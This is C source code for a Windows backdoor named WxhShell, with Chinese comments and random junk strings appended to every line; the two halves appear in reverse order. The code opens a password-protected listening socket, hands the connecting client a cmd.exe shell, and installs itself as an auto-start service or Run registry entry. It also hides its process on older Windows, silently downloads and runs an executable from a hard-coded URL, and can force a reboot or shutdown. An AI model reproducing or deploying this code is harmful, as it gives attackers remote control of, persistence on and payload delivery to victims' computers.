    } agU%z:M{  
  // 关机 N"YK@)*Q  
  case 'd': { n&0mz1rw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T .Pklty  
    if(Boot(SHUTDOWN)) L9{mYA]q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q f\3JT\  
    else { nc3ltT,R  
    closesocket(wsh); -uv 9(r\P  
    ExitThread(0); <}28=d  
    } B_SZ?o  
    break; @tr&R==([  
    } |TB@@ 2Ky&  
  // 获取shell lBlSNDs  
  case 's': { |t4Gz1"q=8  
    CmdShell(wsh); Tn4W\?R  
    closesocket(wsh); $z2 xZqe  
    ExitThread(0); "ibK1}-  
    break; lL:KaQ0E  
  } %uGleY]~  
  // 退出 wO^$!zB W  
  case 'x': { i7S>RB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .)i O Du  
    CloseIt(wsh); +=ZWau   
    break; :"M9*XeHO  
    } -Q<z1vz  
  // 离开 t(J![wB}  
  case 'q': { 0Y5LDP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v%H"_T  
    closesocket(wsh); Jh37pI  
    WSACleanup(); IvEMg2f}  
    exit(1); 94~"U5oQ:  
    break; qpb/g6g  
        } tt+>8rxF:;  
  } Z B~l2  
  } 5z1\#" B[  
Mam8\  
  // 提示信息 8g<Q5(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \@Ee9C 13  
} OZ(Dpx(Q  
  } nGq]$h  
Ef2Y l  
  return; y]yine  
} bH'S.RWp=  
?r{TOj n  
// shell模块句柄 XOu+&wOu  
int CmdShell(SOCKET sock) C:]/8l  
{ M:R8<.{  
STARTUPINFO si; P7's8KOoS  
ZeroMemory(&si,sizeof(si)); 1i4WWK7k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yJDeX1+,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ! G*&4V3Mg  
PROCESS_INFORMATION ProcessInfo; 1S+;ZMk  
char cmdline[]="cmd"; >F/XZ C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j(0Ilx|7v  
  return 0; cwk+#ur  
} )D:9R)m  
6D/uo$1Y  
// 自身启动模式 DW1@<X  
int StartFromService(void) <(fdHQD!7>  
{ Xl#Dw bx  
typedef struct Wu4ot0SZ  
{ JT4wb]kdV  
  DWORD ExitStatus; JDkCUN5  
  DWORD PebBaseAddress; :~vxZ*a  
  DWORD AffinityMask; 3Bejp+xX  
  DWORD BasePriority; A/!<kp{S  
  ULONG UniqueProcessId; <v]z6B@9!  
  ULONG InheritedFromUniqueProcessId; :%N*{uy  
}   PROCESS_BASIC_INFORMATION; St6aYK  
C`dkD0_  
PROCNTQSIP NtQueryInformationProcess;  ( :  
A'Gl Cp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G;/Q>V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YnSbw3U.I  
5QAdcEcN@O  
  HANDLE             hProcess; 0Y7$d`  
  PROCESS_BASIC_INFORMATION pbi; B1E$v(P3M  
'0Lov]L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S"zk!2@C  
  if(NULL == hInst ) return 0; x5oOF7#5  
E(_ KN[}S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K]X` sH:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yk<VlS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nu@5 kwH  
G%S6$@:  
  if (!NtQueryInformationProcess) return 0; /?Vdqci  
0x\2 #i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7!p LK&_  
  if(!hProcess) return 0; (qUK7$  
cQX:%Ix=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )u0O_R  
{&-#s#&  
  CloseHandle(hProcess); YJd8l>mz  
f27)v(EJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k=?^){[We  
if(hProcess==NULL) return 0; Jn=42Q:>  
fuMN"T 6%+  
HMODULE hMod; UgR :qjI  
char procName[255]; _5b0wdB  
unsigned long cbNeeded; q]TqI' o  
bw9 nB{C<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UgC)7 K1  
oCVku:.  
  CloseHandle(hProcess); *<IR9.~{6%  
Tr%FUi  
if(strstr(procName,"services")) return 1; // 以服务启动 I+|uU g5  
]KWK}Zyi  
  return 0; // 注册表启动 /Pk:4,  
} C`NmZwL  
=p q:m  
// 主模块 DVh)w}v  
int StartWxhshell(LPSTR lpCmdLine) <4c%Q)  
{ pA.._8(t  
  SOCKET wsl; qp>N^)>  
BOOL val=TRUE; 4d`+CD C  
  int port=0; +"8}R~`!  
  struct sockaddr_in door; 9/@ &*  
paWxanSt  
  if(wscfg.ws_autoins) Install(); TGf;_)El  
X FQNr`  
port=atoi(lpCmdLine); m; o4Fu  
($62o&I  
if(port<=0) port=wscfg.ws_port; *g_w I%l  
UW6VHA>  
  WSADATA data; 26.)Ur<F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &tj0M.-  
6aY>lkp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    q>-R3HB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rLzW`  
  door.sin_family = AF_INET; FaY_ 0G;y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \0?$wIH?  
  door.sin_port = htons(port); 3+>OGwfQ  
a8Uk[^5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uE`r/=4  
closesocket(wsl); {q,?<zBzu  
return 1; Qdu$Os  
} |9IC/C!HC  
 )3%@9  
  if(listen(wsl,2) == INVALID_SOCKET) { ^H3m\!h  
closesocket(wsl); 'wvMH;}u  
return 1; ;7Okyj6EP  
} uw33:G  
  Wxhshell(wsl); t'g^W  
  WSACleanup(); ;iU%Kt  
JoJukoy}F  
return 0; g1{/ 5{XI  
?#BV+#(  
} \|%E%Yc  
OCNPi4  
// 以NT服务方式启动 BvK QlT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I9 &lO/c0  
{ ZzcPiTSO  
DWORD   status = 0; Wp[9beI*M  
  DWORD   specificError = 0xfffffff; ar$*a>'?  
?pG/m%[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =45W\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kRlA4h1u_$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q]FBl}nwl%  
  serviceStatus.dwWin32ExitCode     = 0; 9S>g6}[E#0  
  serviceStatus.dwServiceSpecificExitCode = 0; +sf .PSz$  
  serviceStatus.dwCheckPoint       = 0; !^WHZv4  
  serviceStatus.dwWaitHint       = 0; S^N {wZo  
f~ZEdq8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hw=GR_,  
  if (hServiceStatusHandle==0) return; 89H sPB1"t  
#jA)>z\Q^  
status = GetLastError(); 1e}8LH7  
  if (status!=NO_ERROR) 0<.R A%dj  
{ "0Q1qZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O/b+CSS1  
    serviceStatus.dwCheckPoint       = 0; C:i|-te  
    serviceStatus.dwWaitHint       = 0; @i LIU}+  
    serviceStatus.dwWin32ExitCode     = status; +,5-qm)Gh>  
    serviceStatus.dwServiceSpecificExitCode = specificError; % frfSGf.#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sh&PNJ-*  
    return; g"K>5Cb  
  } 0.Vi9 7`  
a]B[`^`z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U|5-0u5  
  serviceStatus.dwCheckPoint       = 0; ,_ .v_  
  serviceStatus.dwWaitHint       = 0; 9Ah[rK*}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8-M e.2K  
} jfp z`zE  
qP1FJ89H  
// 处理NT服务事件,比如:启动、停止 Vn|1v4U!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~h)&&' a  
{ lV6dm=k  
switch(fdwControl) PsnGXcj  
{ ke%pZ 7{u  
case SERVICE_CONTROL_STOP: R_N:#K.M  
  serviceStatus.dwWin32ExitCode = 0; )Gk`[*q ;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s_Wyh !@M  
  serviceStatus.dwCheckPoint   = 0; `u XQ z7  
  serviceStatus.dwWaitHint     = 0; X2yTlLdY  
  { FvdeQsc!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {5j66QFoo  
  } fex,z%}p  
  return; -VT+O+9_A  
case SERVICE_CONTROL_PAUSE: )uheV,ZnY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;\{`Ci\  
  break; c#cx>wq9  
case SERVICE_CONTROL_CONTINUE: 'V&Y[7Aeq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #hw>tA6  
  break; d~9!,6XM  
case SERVICE_CONTROL_INTERROGATE: 0 n vSvk  
  break; 1G^#q,%X_v  
}; GJA`l8`SQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cg{AMeW  
} Log|%P\  
S\#17.=  
// 标准应用程序主函数 bC6oqF'#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9`B$V##-L  
{ T+IF}4e d  
/)L 0`:I#  
// 获取操作系统版本 rcN 9.1  
OsIsNt=GetOsVer(); (u1m]WYL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~nY]o"8D  
p/ GVTf  
  // 从命令行安装 bPbb\|u0d  
  if(strpbrk(lpCmdLine,"iI")) Install(); '{b1!nC;  
s60 TxB  
  // 下载执行文件 L{fFC%|l2L  
if(wscfg.ws_downexe) { Hi}RZMr1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $E!J:Y=  
  WinExec(wscfg.ws_filenam,SW_HIDE); j\&pej  
} # Su~`]  
Zjh2{ :  
if(!OsIsNt) { cr;`Tl~}s  
// 如果时win9x,隐藏进程并且设置为注册表启动 +^|iZbZKx  
HideProc(); jp2Q 9Z  
StartWxhshell(lpCmdLine); c1XX~8  
} $ &UZy|9  
else z@ 35NZn  
  if(StartFromService()) [<c&|tfl  
  // 以服务方式启动 ci9R.U)  
  StartServiceCtrlDispatcher(DispatchTable); L=; -x9  
else na+d;h*~y  
  // 普通方式启动  C})'\1O%  
  StartWxhshell(lpCmdLine); p9eRZVy/  
q(M:QWA q  
return 0; 4Y\wnwI  
} p *w$:L  
\;X+X,M  
uBrMk  
x2Lq=zwJ  
=========================================== V^s0fWa  
D<$XyP  
TI|/u$SJ<Z  
V9NTs8LKc  
k?GD/$1t  
iA }vKQ  
" 5s{j = .O  
;]2s,za)qs  
#include <stdio.h> SkQswH  
#include <string.h> EbNd=Z'J  
#include <windows.h> Dh4 6o|P  
#include <winsock2.h> 8 .>/6M  
#include <winsvc.h> l`9t}  
#include <urlmon.h> 0#o/^Ah  
k(VB+k"3  
#pragma comment (lib, "Ws2_32.lib") ,5 j"ruZ  
#pragma comment (lib, "urlmon.lib") Q,T"ZdQ  
O`1!  
#define MAX_USER   100 // 最大客户端连接数 w4,Ag{t>  
#define BUF_SOCK   200 // sock buffer o`S ?  
#define KEY_BUFF   255 // 输入 buffer OWq'[T4  
\c,pEXG  
#define REBOOT     0   // 重启 5*%#o  
#define SHUTDOWN   1   // 关机 "UFs~S|e  
0pb '\lA  
#define DEF_PORT   5000 // 监听端口 m7c*)"^  
QF2q^[>w6  
#define REG_LEN     16   // 注册表键长度 CT a#Q,  
#define SVC_LEN     80   // NT服务名长度 .wA+S8}S  
t&q N: J  
// 从dll定义API jEdtJ EPa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 fXLcal  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,8'>R@o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @D^^_1~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u^Ku;RQo  
Uh eC  
// wxhshell配置信息 oTjyN\?H  
struct WSCFG { 2NGe C0=  
  int ws_port;         // 监听端口 p/Sbt/R  
  char ws_passstr[REG_LEN]; // 口令 z+}QZ >  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~+X9g  
  char ws_regname[REG_LEN]; // 注册表键名 zdl%iop3e  
  char ws_svcname[REG_LEN]; // 服务名 = {'pUU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3\O|ii  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h Ov={:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PC$CYW5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !`JHH&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aVs(EHF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T  VmH  
^[E' 1$D  
}; Ox!U8g8c  
lH^^77"4Qo  
// default Wxhshell configuration %.v{N6  
struct WSCFG wscfg={DEF_PORT, DhLqhME53  
    "xuhuanlingzhe", sAn0bX  
    1, w>fdQ!RdP  
    "Wxhshell", /PBaIoJE  
    "Wxhshell", eK_*2=;XRW  
            "WxhShell Service", #t8{R~y"gv  
    "Wrsky Windows CmdShell Service", n%^ LPD  
    "Please Input Your Password: ", Gc]~w D$  
  1, U6ZR->:  
  "http://www.wrsky.com/wxhshell.exe", mbRq JT>@  
  "Wxhshell.exe" gF=jf2{YX  
    }; J&/lx${  
JG[o"&Sd  
// 消息定义模块 thi1kJ`L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _mvxsG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v44}%$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h}_~y'^!  
char *msg_ws_ext="\n\rExit."; Lf([dE1  
char *msg_ws_end="\n\rQuit.";  kqYa*| l  
char *msg_ws_boot="\n\rReboot..."; fA%z*\  
char *msg_ws_poff="\n\rShutdown..."; 3ya1'qUC  
char *msg_ws_down="\n\rSave to "; `O?TUQGR  
/M~!sPW&?  
char *msg_ws_err="\n\rErr!"; ,21 np  
char *msg_ws_ok="\n\rOK!"; L TV{{Z+  
ZoB*0H-  
char ExeFile[MAX_PATH]; @$"J|s3M  
int nUser = 0; mffn//QS  
HANDLE handles[MAX_USER]; V=He_9B  
int OsIsNt;  XY.5Rno4  
@RFs/'  
SERVICE_STATUS       serviceStatus; >h2%[j=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uJHu>M}~  
v[@c*wo  
// 函数声明 02`$OTKz  
int Install(void); .#u_#=g?  
int Uninstall(void); )Au6Nf  
int DownloadFile(char *sURL, SOCKET wsh); M2x["  
int Boot(int flag); #*$P'r  
void HideProc(void); (iJ1 ;x  
int GetOsVer(void); 5J)=}e  
int Wxhshell(SOCKET wsl); q+ KzIde|%  
void TalkWithClient(void *cs); "LYh7:0s!k  
int CmdShell(SOCKET sock); R3)57OyV  
int StartFromService(void); Q-Ux<#  
int StartWxhshell(LPSTR lpCmdLine); \l"&A  
%<?0apO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E5el?=,i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bPD`+: A_  
- K%,^6  
// 数据结构和表定义 k%wn0Erd  
SERVICE_TABLE_ENTRY DispatchTable[] = IEjP<pLe  
{ pL1Q7&&c0  
{wscfg.ws_svcname, NTServiceMain}, 6iEhsL&K  
{NULL, NULL} zf4Ec-)  
}; fPi3s b`}  
\T]EZ'+O  
// 自我安装 f\+f o  
int Install(void) Iz6y{E  
{ WwF~d+>|C  
  char svExeFile[MAX_PATH]; )15Z#`x  
  HKEY key; F-D]TRG/*]  
  strcpy(svExeFile,ExeFile); ANIz, LS  
+_v$!@L8  
// 如果是win9x系统,修改注册表设为自启动 W"{v2xi  
if(!OsIsNt) { QB:i/9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4k/V BZB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }pk#!N  
  RegCloseKey(key); yc2/~a_ Gx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RsU3Gi_Zdz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L- pVltX  
  RegCloseKey(key); xvzr:p P  
  return 0; -yGDh+-  
    } %8*64T")  
  } {GvTfZfp  
} >@WX>0`ht  
else { X1IeSMAe  
Eh-n  
// 如果是NT以上系统,安装为系统服务 tt%MoQ)   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A*. /,KT  
if (schSCManager!=0) _, ;j7%j  
{ 5Zmw} M  
  SC_HANDLE schService = CreateService oLWJm  
  ( i{!T&8  
  schSCManager, ,D\GGRw  
  wscfg.ws_svcname, nA|.t  
  wscfg.ws_svcdisp, S[tE&[$(p  
  SERVICE_ALL_ACCESS, mrm^e9*Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >FhK #*Pa  
  SERVICE_AUTO_START, ,f}UGd[a  
  SERVICE_ERROR_NORMAL, i>EgG5iJ  
  svExeFile, 7NC=*A~  
  NULL, 1h*)@  
  NULL, 9ukg}_Hx  
  NULL, D+ ~_TA  
  NULL, 1 )}=bhT  
  NULL ^8 ' sib  
  ); J--m[X  
  if (schService!=0) T081G`li  
  { MYBx&]!\  
  CloseServiceHandle(schService); yCJFo  
  CloseServiceHandle(schSCManager); r]W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Oz|K8p  
  strcat(svExeFile,wscfg.ws_svcname); 79\Jx iSB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { > 0{S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U yw-2]!n  
  RegCloseKey(key); Ngb(F84H?  
  return 0; v+jsC`m  
    } h25G/`  
  } <Sz52Suh>  
  CloseServiceHandle(schSCManager); ,uzN4_7u  
} ZEYgK)^  
} {]z4k[;.h  
,!V]jP)  
return 1; /(O$(35  
}  g PAX4'  
{;2vmx9  
// 自我卸载 ]"c+sMW  
int Uninstall(void) [D5t{[i  
{ 7_2kDDW0  
  HKEY key; <foCb%$(?  
%>gW9}kB  
if(!OsIsNt) { y9#$O(G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SXao|{?O  
  RegDeleteValue(key,wscfg.ws_regname); p3/*fH98  
  RegCloseKey(key);  tpy>OT$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6#j$GH *  
  RegDeleteValue(key,wscfg.ws_regname); $3Z-)m  
  RegCloseKey(key); 7PR#(ftz  
  return 0; `h}q Eo`  
  } 9N%JP+<89  
} H _Va"yTO6  
} 0 ugT2%  
else { FWH}j0Gj|  
j3q~E[Mz\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E7Cy(LO  
if (schSCManager!=0) rF\ "w0J_  
{ = 8gHS[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zI~owK)%Z  
  if (schService!=0) 47r_y\U h  
  { ! _2n  
  if(DeleteService(schService)!=0) { `OymAyEYQ  
  CloseServiceHandle(schService); ~}K5#<   
  CloseServiceHandle(schSCManager); 8q`$y$06Dk  
  return 0; K78rg/`  
  } 86f2'o+  
  CloseServiceHandle(schService); X-Wz:NA  
  } *&Z7m^`FQ  
  CloseServiceHandle(schSCManager); WvHw{^(lF  
} L6>pGx  
} ,G#.BLH cX  
*5<Sr q'  
return 1; 1 nvTce  
} '8Phxx|  
?Qb<-~~ j1  
// 从指定url下载文件 @\&m+;6  
int DownloadFile(char *sURL, SOCKET wsh) Th`skK&U  
{ _2btfY1U  
  HRESULT hr; LQnkcV  
char seps[]= "/"; 10#oG{ 9  
char *token; +.y .Mp  
char *file; \D>$aLO*?  
char myURL[MAX_PATH]; MxzLK%am  
char myFILE[MAX_PATH]; T]Nu)  
?^:h\C^a"  
strcpy(myURL,sURL); &D%(~|'  
  token=strtok(myURL,seps); K ~44i  
  while(token!=NULL) &rDM<pO #-  
  { :b[`  v  
    file=token; H A}f,),G  
  token=strtok(NULL,seps); )} DUMq7  
  } pf4 ^Bk}e  
oJKa"H-jL  
GetCurrentDirectory(MAX_PATH,myFILE); Vtppuu$  
strcat(myFILE, "\\"); >=iy2~Fz,  
strcat(myFILE, file); 4'KOp&#l K  
  send(wsh,myFILE,strlen(myFILE),0); [P |[vWO  
send(wsh,"...",3,0); jkiTj~WE-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I8OD$`~*U6  
  if(hr==S_OK) uS&| "*pR  
return 0; Ax oD8|  
else 6 \B0^  
return 1; @DW[Z`X  
OL7_'2_z.  
} HE<1v@jW  
,:+d g(\r  
// 系统电源模块 +.RKi !  
int Boot(int flag) ] 4+s$rG  
{ PL{Q!QJK'  
  HANDLE hToken; BQ^H? jo  
  TOKEN_PRIVILEGES tkp; PNW \*;j  
7^} Ll@  
  if(OsIsNt) { /S:F)MO9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yBLK$@9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z -%(~  
    tkp.PrivilegeCount = 1; * y^OV_n-8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cw5%\K$=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o`khz{SU:  
if(flag==REBOOT) { hVj NZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y80ykGPT\&  
  return 0; !h&g7do]Z  
} s=?aox7  
else { )a}"^1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hzI *{  
  return 0; )o!XWh  
} 5 =(c%  
  } O7']  
  else { @{h?+ d  
if(flag==REBOOT) { %7Kooq(i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 79zJ\B_  
  return 0; .@iFa3  
} \qi|Js*{  
else { }U@m*dEG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UDf9FnG}L  
  return 0; c= UU"  
} 8#R?]Uwq  
} f[gqT yiP  
\Mv":Lm1  
return 1; >#+IaKL7  
} =Cqv=   
DN4#H`  
// win9x进程隐藏模块 %}2@rLP  
void HideProc(void) J H.K.C(  
{ zr76_~B1u  
SFH-^ly&D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DaNW~rd{  
  if ( hKernel != NULL ) 5)1+~B  
  { ^EVc95|Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q5S,{ ZeT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &PcyKpyd  
    FreeLibrary(hKernel); ashcvn~z  
  } fJjgq)9  
n$m"]inX  
return; ~Lfcg*  
} P[t$\FS  
-6Tk<W  
// 获取操作系统版本 @|bP+8oU  
int GetOsVer(void) g|PC$p-z+  
{ "Clz'J]{  
  OSVERSIONINFO winfo; 8 l/[(] &  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1|,Pq9  
  GetVersionEx(&winfo); %u?HF4S'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  Gt9wR  
  return 1; 4^c- D  
  else SEKN|YQV/t  
  return 0; g. %  
} hwnx<f '  
;??ohA"{5  
// 客户端句柄模块 NGjdG=,  
int Wxhshell(SOCKET wsl) E_ $z`or  
{ lfk9+)  
  SOCKET wsh; n)8Yj/5  
  struct sockaddr_in client; D-9\~gvh  
  DWORD myID; G,&%VQ3P>  
iNcZ)m/  
  while(nUser<MAX_USER) 5IVksg  
{ :lcea6iO  
  int nSize=sizeof(client); E]^5I3=O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /I&wj^   
  if(wsh==INVALID_SOCKET) return 1; _17|U K|N  
e^).W3SK]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z+s%;f;  
if(handles[nUser]==0) @-.? B  
  closesocket(wsh); QhGXBM  
else `ia %)@  
  nUser++; )"@t6.  
  } y_F}s9wj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?4PQQd  
eN0P9.eqM  
  return 0; _X5_ez^/=  
} .R 44$F  
5''*UFIF1  
// 关闭 socket {}e^eJ  
void CloseIt(SOCKET wsh) !7H6i#g*  
{ QHf$f@bjI  
closesocket(wsh); ZIxRyo-i  
nUser--; ]XUl@Y.   
ExitThread(0); (VHND%7P  
} ;##]G=%  
lXrD!1F  
// 客户端请求句柄 g: %9jf  
void TalkWithClient(void *cs) "#^MUQ!a  
{ Dxx;v.$  
7r{qJ7$%  
  SOCKET wsh=(SOCKET)cs; kL{;.WsB  
  char pwd[SVC_LEN]; 4dhqLVgL{  
  char cmd[KEY_BUFF]; ^kj=<+ v#  
char chr[1]; f%^'P"R  
int i,j; kv|,b  
Iur9I>8h  
  while (nUser < MAX_USER) { .e[Tu|qo  
&TN2 HZ-bJ  
if(wscfg.ws_passstr) { B5=3r1Ly  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ryD%i"g<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1/j$I~B   
  //ZeroMemory(pwd,KEY_BUFF); euRss#;  
      i=0; Z-Wfcnk  
  while(i<SVC_LEN) { DMgBcP  
o 5Zyh26  
  // 设置超时 [$:,-Q@  
  fd_set FdRead; "h$R ]~eG  
  struct timeval TimeOut; :=g.o;(/N  
  FD_ZERO(&FdRead); ?#[)C=p]z  
  FD_SET(wsh,&FdRead); c;!g  
  TimeOut.tv_sec=8; Vb6K:ZnF  
  TimeOut.tv_usec=0; P;foK)AM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i&tsYnP2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4_Rdp`x#J  
VK .^v<Yo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w-FnE}"l  
  pwd=chr[0]; ySX/=T:<;  
  if(chr[0]==0xd || chr[0]==0xa) { XSD%t8<LO  
  pwd=0; xe:' 8J6L  
  break; N)OCSeh  
  } #qL9{P<}  
  i++; n E :'Zxj  
    } 1t~({Pl<>  
}Jxq'B  
  // 如果是非法用户,关闭 socket {Bs+G/?o/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q(9%^cV6  
} 4 eh=f!(+  
XoL[ r67Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sWxK~Yg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?z.Isvn  
b :\D\X  
while(1) { P.4E{.)(  
g^lFML| %  
  ZeroMemory(cmd,KEY_BUFF); mxtgb$*  
iz x[  
      // 自动支持客户端 telnet标准   J%P)%yX  
  j=0; S=9E@(]  
  while(j<KEY_BUFF) { b~w KF0vq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #tz8{o?ebN  
  cmd[j]=chr[0]; H`|0-`q  
  if(chr[0]==0xa || chr[0]==0xd) { mTd<2Hy  
  cmd[j]=0; Q;gQfr"c7  
  break; F ?mA1T>x  
  } hmzair3X  
  j++; rt;gC[3\  
    }  HD|sr{Z%  
F?2FITi_V  
  // 下载文件 qRUCnCZs  
  if(strstr(cmd,"http://")) { 'wE\{1~_[+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )<'yQW=6  
  if(DownloadFile(cmd,wsh)) h#R&=t1,^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,)uPGe"y  
  else 5rF/323z  
